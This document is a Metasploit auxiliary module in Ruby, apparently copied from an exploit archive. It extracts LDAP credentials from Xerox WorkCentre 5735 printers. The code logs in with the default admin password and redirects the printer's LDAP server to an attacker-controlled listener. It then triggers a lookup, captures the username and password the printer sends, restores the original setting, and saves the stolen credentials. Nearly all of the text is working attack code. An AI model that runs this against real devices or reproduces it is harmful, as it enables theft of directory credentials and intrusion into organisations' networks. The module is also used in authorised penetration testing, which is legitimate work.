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## https://sploitus.com/exploit?id=PACKETSTORM:180595
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor',
'Description' => %q{
This module extract the printer's LDAP username and password from Xerox Workcentre 5735.
},
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => false }
))
register_options(
[
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),
OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]),
OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.'])
])
end
def run
print_status("Attempting to extract LDAP username and password...")
@auth_cookie = default_page
if @auth_cookie.blank?
print_status("Unable to get authentication cookie from #{rhost}")
return
end
status = login
return unless status
status = ldap_server_info
return unless status
status = update_ldap_server
return unless status
start_listener
unless @data
print_error("Failed to start listiner or the printer did not send us the creds. :(")
status = restore_ldap_server
unless status
print_error("Failed to restore old LDAP server. Please manually restore")
end
return
end
status = restore_ldap_server
return unless status
ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten
ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}"
# Woot we got creds so lets save them.#
print_good("The following creds were capured: #{ldap_creds}")
loot_name = 'ldap.cp.creds'
loot_type = 'text/plain'
loot_filename = 'ldap-creds.text'
loot_desc = 'LDAP Pass-back Harvester'
p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)
print_good("Credentials saved in: #{p}")
register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])
end
def default_page
page = '/header.php?tab=status'
method = 'GET'
res = make_request(page, method, '')
if res.blank? || res.code != 200
print_error("Failed to connect to #{rhost}. Please check the printers IP address.")
return ''
end
res.get_cookies
end
def login
login_page = '/userpost/xerox.set'
login_vars = {
'_fun_function' => 'HTTP_Authenticate_fn',
'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php',
'webUsername' => 'admin',
'webPassword' => datastore['PASSWORD'],
'frmaltDomain' => 'default'
}
login_post_data = []
login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" }
login_post_data *= '&'
method = 'POST'
res = make_request(login_page, method, login_post_data)
if res.blank? || res.code != 200
print_error("Failed to login. Please check the password for the Administrator account")
return nil
end
res.code
end
def ldap_server_info
ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig'
method = 'GET'
res = make_request(ldap_info_page, method, '')
html_body = ::Nokogiri::HTML(res.body)
ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text
ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten
ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text
ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten
@ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}"
@ldap_port = ldap_port_number[0]
print_status("LDAP server: #{@ldap_server}")
unless res.code == 200 || res.blank?
print_error("Failed to get LDAP data.")
return nil
end
res.code
end
def update_ldap_server
ldap_update_page = '/dummypost/xerox.set'
ldap_update_vars = {
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
'NextPage' => '/ldap/index.php?ldapindex=default',
'from' =>'ldapConfig',
'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}",
'ldap.maxSearchResults' => '25',
'ldap.searchTime' => '30',
}
ldap_update_post = []
ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" }
ldap_update_post *= '&'
method = 'POST'
print_status("Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
res = make_request(ldap_update_page, method, ldap_update_post)
if res.blank? || res.code != 200
print_error("Failed to update LDAP server. Please check the host: #{rhost}")
return nil
end
res.code
end
def trigger_ldap_request
ldap_trigger_page = '/userpost/xerox.set'
ldap_trigger_vars = {
'nameSchema'=>'givenName',
'emailSchema'=>'mail',
'phoneSchema'=>'telephoneNumber',
'postalSchema'=>'postalAddress',
'mailstopSchema'=>'l',
'citySchema'=>'physicalDeliveryOfficeName',
'stateSchema'=>'st',
'zipCodeSchema'=>'postalcode',
'countrySchema'=>'co',
'faxSchema'=>'facsimileTelephoneNumber',
'homeSchema'=>'homeDirectory',
'memberSchema'=>'memberOf',
'uidSchema'=>'uid',
'ldapSearchName'=>'test',
'ldapServerIndex'=>'default',
'_fun_function'=>'HTTP_LDAP_Search_fn',
'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
}
ldap_trigger_post = []
ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" }
ldap_trigger_post *= '&'
method = 'POST'
print_status("Triggering LDAP request")
res = make_request(ldap_trigger_page, method, ldap_trigger_post)
res.code
end
def start_listener
server_timeout = datastore['TCPDELAY'].to_i
begin
print_status('Service running. Waiting for connection')
Timeout.timeout(server_timeout) do
exploit
end
rescue Timeout::Error
return
end
end
def primer
trigger_ldap_request
end
def on_client_connect(client)
on_client_data(client)
end
def on_client_data(client)
@data = client.get_once
client.stop
end
def restore_ldap_server
ldap_restore_page = '/dummypost/xerox.set'
ldap_restore_vars = {
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
'NextPage' => '/ldap/index.php?ldapaction=add',
'ldapindex' => 'default&from=ldapConfig',
'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}",
'ldap.maxSearchResults' => '25',
'ldap.searchTime' => '30',
'ldap.search.uid' => 'uid',
'ldap.search.name' => 'givenName',
'ldap.search.email' => 'mail',
'ldap.search.phone' => 'telephoneNumber',
'ldap.search.postal' => 'postalAddress',
'ldap.search.mailstop' => 'l',
'ldap.search.city' => 'physicalDeliveryOfficeName',
'ldap.search.state' => 'st',
'ldap.search.zipcode' => 'postalcode',
'ldap.search.country' => 'co',
'ldap.search.ifax' => 'No Mappings Available',
'ldap.search.faxNum' => 'facsimileTelephoneNumber',
'ldap.search.home' => 'homeDirectory',
'ldap.search.membership' => 'memberOf'
}
ldap_restore_post = []
ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" }
ldap_restore_post *= '&'
method = 'POST'
print_status("Restoring LDAP server: #{@ldap_server}")
res = make_request(ldap_restore_page, method, ldap_restore_post)
if res.blank? || res.code != 200
print_error("Failed to restore LDAP server: #{@ldap_server}. Please fix manually")
return nil
end
res.code
end
def make_request(page, method, post_data)
res = nil
begin
res = send_request_cgi(
{
'uri' => page,
'method' => method,
'cookie' => @auth_cookie,
'data' => post_data
}, datastore['TIMEOUT'].to_i)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("Connection failed")
end
res
end
def register_creds(service_name, remote_host, remote_port, username, password)
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
workspace_id: myworkspace_id,
private_data: password,
private_type: :password,
username: username
}
service_data = {
address: remote_host,
port: remote_port,
service_name: service_name,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end